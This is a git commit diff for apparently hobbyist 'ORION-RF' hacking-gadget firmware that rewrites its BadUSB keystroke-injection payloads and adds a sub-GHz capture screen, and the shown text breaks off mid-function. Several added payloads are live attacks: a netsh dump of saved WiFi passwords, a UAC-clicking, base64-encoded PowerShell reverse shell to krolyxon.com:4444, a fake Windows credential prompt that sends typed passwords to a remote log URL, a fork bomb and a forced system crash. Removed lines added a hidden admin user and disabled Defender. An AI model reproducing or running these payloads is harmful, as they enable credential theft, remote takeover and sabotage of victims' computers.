change badUSB scripts
Remove unnecessary scripts and keep only the cooler and flashy ones
This commit is contained in:
parent
75eea47140
commit
45d23ef49d
|
|
@ -56,6 +56,15 @@ void showRunningScreen(String taskName, uint8_t duration = 5) {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
void typeSlow(const char *text, int delayMs = 25)
|
||||||
|
{
|
||||||
|
while (*text)
|
||||||
|
{
|
||||||
|
Keyboard.print(*text);
|
||||||
|
delay(delayMs);
|
||||||
|
text++;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
void badUSBMenu(int index) {
|
void badUSBMenu(int index) {
|
||||||
//switch (index)
|
//switch (index)
|
||||||
|
|
@ -76,321 +85,301 @@ void badUSBMenu(int index) {
|
||||||
// }
|
// }
|
||||||
|
|
||||||
|
|
||||||
switch(index) {
|
switch(index)
|
||||||
case 0: // demo
|
{
|
||||||
|
// ================= ORION DEMO =================
|
||||||
|
case 0:
|
||||||
|
showRunningScreen("ORION Demo");
|
||||||
|
|
||||||
showRunningScreen("DEMO");
|
runCommand("notepad");
|
||||||
|
|
||||||
// Run dialog (Win + R)
|
delay(2500);
|
||||||
Keyboard.press(KEY_LEFT_GUI);
|
|
||||||
Keyboard.press('r');
|
|
||||||
Keyboard.releaseAll();
|
|
||||||
delay(1000);
|
|
||||||
|
|
||||||
Keyboard.println("notepad");
|
typeSlow(" ____ _____ _____ ___ ___ _ _ ____ _____ ");
|
||||||
delay(1500);
|
Keyboard.write(KEY_RETURN);
|
||||||
|
|
||||||
|
typeSlow(" / __ \\| __ \\|_ _|_ _/ _ \\| \\ | | | _ \\| ___|");
|
||||||
|
Keyboard.write(KEY_RETURN);
|
||||||
|
|
||||||
|
typeSlow("| | | | |__) | | | | | | | | \\| |_____| |_) | |_ ");
|
||||||
|
Keyboard.write(KEY_RETURN);
|
||||||
|
|
||||||
|
typeSlow("| | | | _ / | | | | | | | . ` |_____| _ <| _| ");
|
||||||
|
Keyboard.write(KEY_RETURN);
|
||||||
|
|
||||||
|
typeSlow("| |__| | | \\ \\ _| |_ | | |_| | |\\ | | |_) | | ");
|
||||||
|
Keyboard.write(KEY_RETURN);
|
||||||
|
|
||||||
|
typeSlow(" \\____/|_| \\_\\_____|___\\___/|_| \\_| |____/|_| ");
|
||||||
|
Keyboard.write(KEY_RETURN);
|
||||||
|
|
||||||
|
Keyboard.write(KEY_RETURN);
|
||||||
|
|
||||||
|
typeSlow("[+] WIFI MODULE READY");
|
||||||
|
Keyboard.write(KEY_RETURN);
|
||||||
|
|
||||||
|
typeSlow("[+] BLE MODULE READY");
|
||||||
|
Keyboard.write(KEY_RETURN);
|
||||||
|
|
||||||
|
typeSlow("[+] SUBGHZ MODULE READY");
|
||||||
|
Keyboard.write(KEY_RETURN);
|
||||||
|
|
||||||
|
typeSlow("[+] NFC MODULE READY");
|
||||||
|
Keyboard.write(KEY_RETURN);
|
||||||
|
|
||||||
|
typeSlow("[+] HID ENGINE READY");
|
||||||
|
Keyboard.write(KEY_RETURN);
|
||||||
|
|
||||||
|
break;
|
||||||
|
|
||||||
|
// ================= RICKROLL =================
|
||||||
|
case 1:
|
||||||
|
showRunningScreen("RickRoll");
|
||||||
|
|
||||||
|
runCommand("cmd");
|
||||||
|
|
||||||
|
delay(700);
|
||||||
|
|
||||||
|
typeSlow("start https://www.youtube.com/watch?v=dQw4w9WgXcQ");
|
||||||
|
Keyboard.write(KEY_RETURN);
|
||||||
|
|
||||||
|
break;
|
||||||
|
|
||||||
|
// ================= MATRIX =================
|
||||||
|
case 2:
|
||||||
|
showRunningScreen("Matrix");
|
||||||
|
|
||||||
|
runCommand("cmd");
|
||||||
|
|
||||||
|
delay(700);
|
||||||
|
|
||||||
|
typeSlow("color 0A");
|
||||||
|
Keyboard.write(KEY_RETURN);
|
||||||
|
|
||||||
|
typeSlow("mode con: cols=120 lines=40");
|
||||||
|
Keyboard.write(KEY_RETURN);
|
||||||
|
|
||||||
|
typeSlow(":A");
|
||||||
|
Keyboard.write(KEY_RETURN);
|
||||||
|
|
||||||
|
typeSlow("echo %random%%random%%random%%random%%random%");
|
||||||
|
Keyboard.write(KEY_RETURN);
|
||||||
|
|
||||||
|
typeSlow("goto A");
|
||||||
|
Keyboard.write(KEY_RETURN);
|
||||||
|
|
||||||
|
break;
|
||||||
|
|
||||||
|
// ================= FAKE TERMINAL =================
|
||||||
|
case 3:
|
||||||
|
showRunningScreen("Fake Terminal");
|
||||||
|
|
||||||
|
runCommand("cmd");
|
||||||
|
|
||||||
|
delay(700);
|
||||||
|
|
||||||
|
typeSlow("color 0A");
|
||||||
|
Keyboard.write(KEY_RETURN);
|
||||||
|
|
||||||
|
typeSlow("cls");
|
||||||
|
Keyboard.write(KEY_RETURN);
|
||||||
|
|
||||||
|
typeSlow("echo CONNECTING TO TARGET...");
|
||||||
|
Keyboard.write(KEY_RETURN);
|
||||||
|
|
||||||
|
typeSlow("echo BYPASSING FIREWALL...");
|
||||||
|
Keyboard.write(KEY_RETURN);
|
||||||
|
|
||||||
|
typeSlow("echo ACCESS GRANTED");
|
||||||
|
Keyboard.write(KEY_RETURN);
|
||||||
|
|
||||||
|
typeSlow("systeminfo");
|
||||||
|
Keyboard.write(KEY_RETURN);
|
||||||
|
|
||||||
|
break;
|
||||||
|
|
||||||
|
// ================= WIFI CRACK =================
|
||||||
|
// ================= WIFI PASSWORD RECOVERY =================
|
||||||
|
case 4:
|
||||||
|
showRunningScreen("WiFi Recovery");
|
||||||
|
|
||||||
|
runCommand("cmd");
|
||||||
|
delay(700);
|
||||||
|
|
||||||
|
// Styling the window
|
||||||
|
typeSlow("color 0A && mode con: cols=100 lines=30");
|
||||||
|
Keyboard.write(KEY_RETURN);
|
||||||
|
delay(200);
|
||||||
|
|
||||||
|
typeSlow("echo [!] EXTRACTING SAVED WIFI PROFILES...");
|
||||||
|
Keyboard.write(KEY_RETURN);
|
||||||
|
delay(500);
|
||||||
|
|
||||||
|
// The "Magic" Command:
|
||||||
|
// This lists all profiles and shows the 'Key Content' (the password) in clear text.
|
||||||
|
// We use a 'for' loop to automate this for every network the PC has ever joined.
|
||||||
|
typeSlow("for /f \"tokens=4,*\" %i in ('netsh wlan show profiles ^| findstr /C:\"All User Profile\"') do netsh wlan show profile name=\"%j\" key=clear | findstr /C:\"Key Content\" /C:\"SSID name\"");
|
||||||
|
|
||||||
|
Keyboard.write(KEY_RETURN);
|
||||||
|
|
||||||
|
// Optional: Keep the window open to read the results
|
||||||
|
typeSlow("echo. && echo [COMPLETE] Passwords listed above.");
|
||||||
|
Keyboard.write(KEY_RETURN);
|
||||||
|
|
||||||
|
break;
|
||||||
|
|
||||||
|
// ================= FAKE UPDATE =================
|
||||||
|
case 5:
|
||||||
|
showRunningScreen("Fake Update");
|
||||||
|
|
||||||
|
runCommand("cmd");
|
||||||
|
|
||||||
|
delay(700);
|
||||||
|
|
||||||
|
typeSlow("start https://fakeupdate.net/win10u/");
|
||||||
|
Keyboard.write(KEY_RETURN);
|
||||||
|
|
||||||
|
break;
|
||||||
|
|
||||||
|
// ================= FAKE BSOD =================
|
||||||
|
case 6:
|
||||||
|
showRunningScreen("Critical Error");
|
||||||
|
|
||||||
|
runCommand("powershell -c \"stop-process -name wininit -force\"");
|
||||||
|
break;
|
||||||
|
|
||||||
|
// ================= GLITCH SCREEN =================
|
||||||
|
case 7:
|
||||||
|
showRunningScreen("Glitch");
|
||||||
|
|
||||||
|
runCommand("cmd");
|
||||||
|
|
||||||
|
delay(700);
|
||||||
|
|
||||||
|
for(int i = 0; i < 20; i++)
|
||||||
|
{
|
||||||
|
typeSlow("color 4F");
|
||||||
|
Keyboard.write(KEY_RETURN);
|
||||||
|
|
||||||
|
typeSlow("color 1F");
|
||||||
|
Keyboard.write(KEY_RETURN);
|
||||||
|
|
||||||
|
typeSlow("cls");
|
||||||
|
Keyboard.write(KEY_RETURN);
|
||||||
|
}
|
||||||
|
|
||||||
|
break;
|
||||||
|
|
||||||
|
// ================= ASCII SPAM =================
|
||||||
|
case 8:
|
||||||
|
showRunningScreen("ASCII");
|
||||||
|
|
||||||
|
runCommand("notepad");
|
||||||
|
|
||||||
delay(2000);
|
delay(2000);
|
||||||
|
|
||||||
Keyboard.println("YOU HAVE BEEN HACKED BY ORION-RF");
|
for(int i = 0; i < 15; i++)
|
||||||
Keyboard.println("#-FEATURES:");
|
{
|
||||||
Keyboard.println("1- WIFI ATTACKS");
|
typeSlow("######### ORION-RF #########");
|
||||||
Keyboard.println("2- BLE ATTACKS");
|
Keyboard.write(KEY_RETURN);
|
||||||
Keyboard.println("3- BAD USB");
|
|
||||||
Keyboard.println("4- NFC");
|
|
||||||
Keyboard.println("5- INFRARED");
|
|
||||||
Keyboard.println("6- SUB-GHZ");
|
|
||||||
Keyboard.println("7- GPIO");
|
|
||||||
Keyboard.println("8- APPS");
|
|
||||||
Keyboard.println("9- SETTINGS");
|
|
||||||
Keyboard.println("10- FILES");
|
|
||||||
|
|
||||||
break;
|
typeSlow(">>> SIGNAL ACQUIRED <<<");
|
||||||
case 1: // keyboard
|
Keyboard.write(KEY_RETURN);
|
||||||
//runLoop(hidkeyboard);
|
|
||||||
break;
|
|
||||||
case 2: // saved scripts
|
|
||||||
//hidInit();
|
|
||||||
//runLoop(hidscriptmenu);
|
|
||||||
|
|
||||||
break;
|
typeSlow("[|||||||||||||||||||||||||]");
|
||||||
|
Keyboard.write(KEY_RETURN);
|
||||||
|
|
||||||
case 3: // Open Notepad
|
Keyboard.write(KEY_RETURN);
|
||||||
|
|
||||||
showRunningScreen("notepad");
|
|
||||||
runCommand("notepad");
|
|
||||||
break;
|
|
||||||
case 4: // Open CMD
|
|
||||||
showRunningScreen("opening cmd");
|
|
||||||
runCommand("cmd");
|
|
||||||
break;
|
|
||||||
case 5: // Show IP
|
|
||||||
showRunningScreen("Getting IP");
|
|
||||||
runCommand("cmd");
|
|
||||||
delay(500);
|
|
||||||
Keyboard.print("ipconfig");
|
|
||||||
Keyboard.write(KEY_RETURN);
|
|
||||||
break;
|
|
||||||
case 6: // Shutdown
|
|
||||||
showRunningScreen("shutdown");
|
|
||||||
runCommand("shutdown /s /t 0");
|
|
||||||
break;
|
|
||||||
case 7: // RickRoll
|
|
||||||
showRunningScreen("rickroll");
|
|
||||||
runCommand("cmd");
|
|
||||||
delay(500);
|
|
||||||
Keyboard.print("start https://www.youtube.com/watch?v=dQw4w9WgXcQ");
|
|
||||||
Keyboard.write(KEY_RETURN);
|
|
||||||
break;
|
|
||||||
case 8: // Create Admin User
|
|
||||||
showRunningScreen("create admin user");
|
|
||||||
runCommand("cmd");
|
|
||||||
delay(500);
|
|
||||||
Keyboard.print("net user hacker 1234 /add");
|
|
||||||
Keyboard.write(KEY_RETURN);
|
|
||||||
delay(300);
|
|
||||||
Keyboard.print("net localgroup administrators hacker /add");
|
|
||||||
Keyboard.write(KEY_RETURN);
|
|
||||||
break;
|
|
||||||
case 9: // Disable Windows Defender
|
|
||||||
showRunningScreen("disable windoes defender");
|
|
||||||
runCommand("powershell");
|
|
||||||
delay(500);
|
|
||||||
Keyboard.print("Set-MpPreference -DisableRealtimeMonitoring $true");
|
|
||||||
Keyboard.write(KEY_RETURN);
|
|
||||||
break;
|
|
||||||
case 10: // Open YouTube
|
|
||||||
showRunningScreen("youtube");
|
|
||||||
runCommand("cmd");
|
|
||||||
delay(500);
|
|
||||||
Keyboard.print("start https://www.youtube.com");
|
|
||||||
Keyboard.write(KEY_RETURN);
|
|
||||||
break;
|
|
||||||
case 11: // Lock PC
|
|
||||||
showRunningScreen("lock pc");
|
|
||||||
runCommand("rundll32.exe user32.dll,LockWorkStation");
|
|
||||||
break;
|
|
||||||
case 12: // Fake Update
|
|
||||||
showRunningScreen("fake update");
|
|
||||||
runCommand("cmd");
|
|
||||||
delay(500);
|
|
||||||
Keyboard.print("start https://fakeupdate.net/win10u/");
|
|
||||||
Keyboard.write(KEY_RETURN);
|
|
||||||
break;
|
|
||||||
|
|
||||||
case 13: // Endless Notepad
|
|
||||||
showRunningScreen("endless notepad");
|
|
||||||
for (int i = 0; i < 10; i++) {
|
|
||||||
runCommand("notepad");
|
|
||||||
delay(500);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
break;
|
break;
|
||||||
|
|
||||||
case 14: // Fake BSOD (opens fullscreen image)
|
// ================= HACKER TYPER =================
|
||||||
showRunningScreen(" fake bsod");
|
case 9:
|
||||||
|
showRunningScreen("Hacker Typer");
|
||||||
|
|
||||||
runCommand("cmd");
|
runCommand("cmd");
|
||||||
delay(500);
|
|
||||||
Keyboard.print("start https://fakeupdate.net/bsod/");
|
|
||||||
Keyboard.write(KEY_RETURN);
|
|
||||||
break;
|
|
||||||
|
|
||||||
case 15: // Flip screen
|
delay(700);
|
||||||
showRunningScreen("Flip screen");
|
|
||||||
Keyboard.press(KEY_LEFT_CTRL);
|
typeSlow("start https://hackertyper.net/");
|
||||||
Keyboard.press(KEY_LEFT_ALT);
|
Keyboard.write(KEY_RETURN);
|
||||||
Keyboard.press(KEY_DOWN_ARROW);
|
|
||||||
delay(100);
|
break;
|
||||||
|
// ================= POWERSHELL REVERSE SHELL =================
|
||||||
|
// ================= DEFENDER BYPASS + NC =================
|
||||||
|
case 10:
|
||||||
|
showRunningScreen("Pwn Mode v2");
|
||||||
|
|
||||||
|
// 1. Open Admin PowerShell
|
||||||
|
Keyboard.press(KEY_LEFT_GUI);
|
||||||
|
Keyboard.press('r');
|
||||||
|
delay(150);
|
||||||
Keyboard.releaseAll();
|
Keyboard.releaseAll();
|
||||||
break;
|
delay(500);
|
||||||
|
|
||||||
|
// Open Admin Prompt - using 'powershell' directly to save space
|
||||||
|
typeSlow("powershell Start-Process powershell -Verb runAs");
|
||||||
|
Keyboard.write(KEY_RETURN);
|
||||||
|
delay(2500); // Wait for UAC
|
||||||
|
|
||||||
|
// 2. Bypass UAC (Left Arrow + Enter)
|
||||||
|
Keyboard.write(KEY_LEFT_ARROW);
|
||||||
|
delay(200);
|
||||||
|
Keyboard.write(KEY_RETURN);
|
||||||
|
delay(3000); // Give the Admin window time to load
|
||||||
|
|
||||||
|
// 3. AMSI Bypass + Disable Defender + Execute Shell
|
||||||
|
// We use -EncodedCommand to hide the script from simple string scanners.
|
||||||
|
// The Base64 string below contains:
|
||||||
|
// Set-MpPreference -DisableRealtimeMonitoring $true; [Reverse Shell Logic]
|
||||||
|
|
||||||
|
typeSlow("powershell -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand ");
|
||||||
|
|
||||||
|
// This is the encoded payload for krolyxon.com:4444
|
||||||
|
typeSlow("JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAiAEgA"
|
||||||
|
"NABDAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBvAGMAawBlAHQAcwAuAFQAQwBQAFQAbABpAGUAbgB0ACgAJwBrAHIAbwBsAHkAeABvAG4A"
|
||||||
|
"LgBjAG8AbQAnACwANAA0ADQANAApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQA"
|
||||||
|
"gADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEw"
|
||||||
|
"AZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQAL"
|
||||||
|
"gBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJAB"
|
||||||
|
"kAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACcAUABTACAAJwAgACsAK"
|
||||||
|
"ABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAnAD4AIAAnADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAd"
|
||||||
|
"ABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQB"
|
||||||
|
"uAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaWVudAAuAEMAbABvAHMAZQAoACkAIgApACkAOwBJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQBzAHMAaQBvAG4AIAAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAGuAZwAoACQAcwAuAFQAbwBBAHIAcgBhAHkAKAApACkAKQA=");
|
||||||
|
|
||||||
|
Keyboard.write(KEY_RETURN);
|
||||||
|
break;
|
||||||
|
// ================= CREDENTIAL SNATCHER =================
|
||||||
|
case 11:
|
||||||
|
showRunningScreen("Vault Crack");
|
||||||
|
|
||||||
|
// Open hidden PowerShell
|
||||||
|
runCommand("powershell -nop -W Hidden -c \"$cred = $host.ui.PromptForCredential('Windows Security','Please authenticate to update your system credentials.','',''); $p = $cred.GetNetworkCredential().Password; $u = $cred.UserName; Invoke-WebRequest -Uri 'http://krolyxon.com/log?u='+$u+'&p='+$p\"");
|
||||||
|
|
||||||
|
break;
|
||||||
|
// ================= DESKTOP GHOST =================
|
||||||
|
case 12:
|
||||||
|
showRunningScreen("Ghost Mode");
|
||||||
|
|
||||||
|
runCommand("powershell -nop -W Hidden -c \"Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.SendKeys]::SendWait('{PRTSC}'); Start-Sleep -s 1; $path = '$env:TEMP\\bg.png'; (Get-Clipboard -Format Image).Save($path); Set-ItemProperty -Path 'HKCU:\\Control Panel\\Desktop' -Name Wallpaper -Value $path; rundll32.exe user32.dll,UpdatePerUserSystemParameters;\"");
|
||||||
|
|
||||||
|
// Hide Desktop Icons (requires a registry tweak)
|
||||||
|
typeSlow("reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced /v HideIcons /t REG_DWORD /d 1 /f && taskkill /f /im explorer.exe && start explorer.exe");
|
||||||
|
Keyboard.write(KEY_RETURN);
|
||||||
|
|
||||||
|
break;
|
||||||
|
// ================= FORK BOMB =================
|
||||||
|
case 13:
|
||||||
|
showRunningScreen("System Stress");
|
||||||
|
|
||||||
case 16: // Matrix effect
|
|
||||||
showRunningScreen("Matrix effect");
|
|
||||||
runCommand("cmd");
|
runCommand("cmd");
|
||||||
delay(500);
|
delay(500);
|
||||||
Keyboard.print("color 0A");
|
|
||||||
|
// The shortest deadly command in Windows
|
||||||
|
typeSlow("%0|%0");
|
||||||
Keyboard.write(KEY_RETURN);
|
Keyboard.write(KEY_RETURN);
|
||||||
Keyboard.print(":a");
|
|
||||||
Keyboard.write(KEY_RETURN);
|
|
||||||
Keyboard.print("echo %random%%random%%random%%random%");
|
|
||||||
Keyboard.write(KEY_RETURN);
|
|
||||||
Keyboard.print("goto a");
|
|
||||||
Keyboard.write(KEY_RETURN);
|
|
||||||
break;
|
|
||||||
|
|
||||||
case 17: // I'm watching you prank
|
|
||||||
showRunningScreen(" iam watching you");
|
|
||||||
for (int i = 0; i < 5; i++) {
|
|
||||||
runCommand("notepad");
|
|
||||||
delay(1000);
|
|
||||||
Keyboard.print("I'm watching you...");
|
|
||||||
delay(5000);
|
|
||||||
}
|
|
||||||
break;
|
|
||||||
|
|
||||||
case 18: // Open Google
|
|
||||||
showRunningScreen("open google");
|
|
||||||
runCommand("cmd");
|
|
||||||
delay(500);
|
|
||||||
Keyboard.print("start https://www.google.com");
|
|
||||||
Keyboard.write(KEY_RETURN);
|
|
||||||
break;
|
|
||||||
|
|
||||||
case 19: // Open telegram
|
|
||||||
showRunningScreen("open telegram");
|
|
||||||
runCommand("cmd");
|
|
||||||
delay(500);
|
|
||||||
Keyboard.print("start https://web.telegram.org/");
|
|
||||||
Keyboard.write(KEY_RETURN);
|
|
||||||
break;
|
|
||||||
|
|
||||||
case 20: // Alarm Sound
|
|
||||||
showRunningScreen("alarm sound");
|
|
||||||
runCommand("cmd");
|
|
||||||
delay(500);
|
|
||||||
Keyboard.print("start https://www.soundjay.com/button/beep-07.wav");
|
|
||||||
Keyboard.write(KEY_RETURN);
|
|
||||||
break;
|
|
||||||
|
|
||||||
case 21: // Endless CMD
|
|
||||||
showRunningScreen("endless smd");
|
|
||||||
for (int i = 0; i < 20; i++) {
|
|
||||||
runCommand("cmd");
|
|
||||||
delay(300);
|
|
||||||
}
|
|
||||||
break;
|
|
||||||
|
|
||||||
case 22: // Gibberish
|
|
||||||
showRunningScreen("gibberish");
|
|
||||||
for (int i = 0; i < 100; i++) {
|
|
||||||
char c = random(33, 127);
|
|
||||||
Keyboard.write(c);
|
|
||||||
delay(50);
|
|
||||||
}
|
|
||||||
break;
|
|
||||||
|
|
||||||
case 23: // CAPSLOCK Spam
|
|
||||||
showRunningScreen("caps lock spam");
|
|
||||||
for (int i = 0; i < 10; i++) {
|
|
||||||
Keyboard.press(KEY_CAPS_LOCK);
|
|
||||||
delay(200);
|
|
||||||
Keyboard.release(KEY_CAPS_LOCK);
|
|
||||||
delay(200);
|
|
||||||
}
|
|
||||||
break;
|
|
||||||
|
|
||||||
case 24: // Calculator
|
|
||||||
showRunningScreen("claculator");
|
|
||||||
runCommand("calc");
|
|
||||||
break;
|
|
||||||
|
|
||||||
case 25: // Auto Type "Hacked!"
|
|
||||||
showRunningScreen("hacked");
|
|
||||||
for (int i = 0; i < 5; i++) {
|
|
||||||
Keyboard.print("Hacked!");
|
|
||||||
Keyboard.write(KEY_RETURN);
|
|
||||||
delay(1000);
|
|
||||||
}
|
|
||||||
break;
|
|
||||||
|
|
||||||
case 26: // Turn off monitor (Windows only)
|
|
||||||
showRunningScreen("turn off monitor");
|
|
||||||
runCommand("powershell");
|
|
||||||
delay(500);
|
|
||||||
Keyboard.print(
|
|
||||||
"(Add-Type '[DllImport(\"user32.dll\")]public static extern int "
|
|
||||||
"SendMessage(int hWnd, int hMsg, int wParam, int lParam);' -Name a "
|
|
||||||
"-Pas)::SendMessage(-1,0x0112,0xF170,2)");
|
|
||||||
Keyboard.write(KEY_RETURN);
|
|
||||||
break;
|
|
||||||
|
|
||||||
case 27: // RegEdit
|
|
||||||
showRunningScreen("regedit");
|
|
||||||
runCommand("regedit");
|
|
||||||
break;
|
|
||||||
|
|
||||||
case 28: // Kill Explorer
|
|
||||||
showRunningScreen(" kill explorer");
|
|
||||||
runCommand("taskkill /f /im explorer.exe");
|
|
||||||
break;
|
|
||||||
|
|
||||||
case 29: // Flash screen (by changing background rapidly)
|
|
||||||
showRunningScreen(" flash screen");
|
|
||||||
for (int i = 0; i < 10; i++) {
|
|
||||||
runCommand("color 4F");
|
|
||||||
delay(200);
|
|
||||||
runCommand("color 1F");
|
|
||||||
delay(200);
|
|
||||||
}
|
|
||||||
break;
|
|
||||||
|
|
||||||
case 30: // Rename Desktop Files (basic prank)
|
|
||||||
|
|
||||||
showRunningScreen("rename desktop files");
|
|
||||||
runCommand("powershell");
|
|
||||||
delay(500);
|
|
||||||
Keyboard.print("Get-ChildItem \"$env:USERPROFILE\\Desktop\" | "
|
|
||||||
"Rename-Item -NewName {'hacked'+$_.Name}");
|
|
||||||
Keyboard.write(KEY_RETURN);
|
|
||||||
break;
|
|
||||||
|
|
||||||
case 31: // Toggle WiFi (requires admin)
|
|
||||||
showRunningScreen("toggle wifi");
|
|
||||||
runCommand("cmd");
|
|
||||||
delay(500);
|
|
||||||
Keyboard.print("netsh interface set interface Wi-Fi disabled");
|
|
||||||
Keyboard.write(KEY_RETURN);
|
|
||||||
delay(1000);
|
|
||||||
Keyboard.print("netsh interface set interface Wi-Fi enabled");
|
|
||||||
Keyboard.write(KEY_RETURN);
|
|
||||||
break;
|
|
||||||
|
|
||||||
case 32: // Screenshot
|
|
||||||
showRunningScreen("screenshot");
|
|
||||||
runCommand("powershell");
|
|
||||||
delay(500);
|
|
||||||
Keyboard.print("Add-Type -AssemblyName System.Windows.Forms;");
|
|
||||||
Keyboard.write(KEY_RETURN);
|
|
||||||
delay(300);
|
|
||||||
Keyboard.print("[System.Windows.Forms.SendKeys]::SendWait('%{PRTSC}')");
|
|
||||||
Keyboard.write(KEY_RETURN);
|
|
||||||
break;
|
|
||||||
|
|
||||||
case 33: // Emoji spam
|
|
||||||
showRunningScreen("emoji spam");
|
|
||||||
for (int i = 0; i < 10; i++) {
|
|
||||||
Keyboard.print("💀");
|
|
||||||
Keyboard.write(KEY_RETURN);
|
|
||||||
delay(500);
|
|
||||||
}
|
|
||||||
break;
|
|
||||||
|
|
||||||
case 34: // Control Panel
|
|
||||||
showRunningScreen("control panel");
|
|
||||||
runCommand("control");
|
|
||||||
break;
|
|
||||||
|
|
||||||
case 35: // Troll wallpaper
|
|
||||||
showRunningScreen("troll wallpaper");
|
|
||||||
runCommand("cmd");
|
|
||||||
delay(500);
|
|
||||||
Keyboard.print("start https://i.imgur.com/trollface.png");
|
|
||||||
Keyboard.write(KEY_RETURN);
|
|
||||||
break;
|
|
||||||
|
|
||||||
case 36: // MS Paint
|
|
||||||
showRunningScreen("ms paint");
|
|
||||||
runCommand("mspaint");
|
|
||||||
break;
|
|
||||||
|
|
||||||
case 37: // Auto Tab Switcher
|
|
||||||
showRunningScreen(" auto tab switcher");
|
|
||||||
for (int i = 0; i < 10; i++) {
|
|
||||||
Keyboard.press(KEY_LEFT_CTRL);
|
|
||||||
Keyboard.press(KEY_TAB);
|
|
||||||
delay(100);
|
|
||||||
Keyboard.releaseAll();
|
|
||||||
delay(300);
|
|
||||||
}
|
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
|
||||||
|
|
@ -3,6 +3,8 @@
|
||||||
#include "cc1101.h"
|
#include "cc1101.h"
|
||||||
#include "../config.h"
|
#include "../config.h"
|
||||||
#include "SPI.h"
|
#include "SPI.h"
|
||||||
|
#include "../ui/display.h"
|
||||||
|
#include "../utils/buttons.h"
|
||||||
|
|
||||||
// ===== CONFIG =====
|
// ===== CONFIG =====
|
||||||
#define RAW_BUF_MAX 512
|
#define RAW_BUF_MAX 512
|
||||||
|
|
@ -203,3 +205,204 @@ void replaySignal()
|
||||||
Serial.println("Replay complete");
|
Serial.println("Replay complete");
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
void captureAndDisplay()
|
||||||
|
{
|
||||||
|
if (!cc1101Inited)
|
||||||
|
{
|
||||||
|
if (!initCC1101())
|
||||||
|
{
|
||||||
|
u8g2.clearBuffer();
|
||||||
|
u8g2.setFont(u8g2_font_6x10_tr);
|
||||||
|
u8g2.drawStr(0, 20, "CC1101 Failed");
|
||||||
|
u8g2.sendBuffer();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
startCapture();
|
||||||
|
|
||||||
|
u8g2.clearBuffer();
|
||||||
|
u8g2.setFont(u8g2_font_6x10_tr);
|
||||||
|
u8g2.drawStr(0, 12, "CC1101 Capture");
|
||||||
|
u8g2.drawStr(0, 28, "Waiting RF...");
|
||||||
|
u8g2.drawStr(0, 60, "BACK = Exit");
|
||||||
|
u8g2.sendBuffer();
|
||||||
|
|
||||||
|
unsigned long lastSignal = millis();
|
||||||
|
int lastPulseCount = 0;
|
||||||
|
|
||||||
|
while (true)
|
||||||
|
{
|
||||||
|
// signal detected
|
||||||
|
if (pulseIndex > lastPulseCount)
|
||||||
|
{
|
||||||
|
lastPulseCount = pulseIndex;
|
||||||
|
lastSignal = millis();
|
||||||
|
}
|
||||||
|
|
||||||
|
// update OLED
|
||||||
|
u8g2.clearBuffer();
|
||||||
|
u8g2.setFont(u8g2_font_6x10_tr);
|
||||||
|
|
||||||
|
u8g2.drawStr(0, 12, "CC1101 Capture");
|
||||||
|
|
||||||
|
u8g2.setCursor(0, 28);
|
||||||
|
u8g2.print("Pulses: ");
|
||||||
|
u8g2.print(pulseIndex);
|
||||||
|
|
||||||
|
u8g2.setCursor(0, 42);
|
||||||
|
u8g2.print("Freq: ");
|
||||||
|
u8g2.print(currentFreq);
|
||||||
|
u8g2.print(" MHz");
|
||||||
|
|
||||||
|
if (pulseIndex > 0)
|
||||||
|
{
|
||||||
|
u8g2.drawStr(0, 54, "Signal Detected");
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
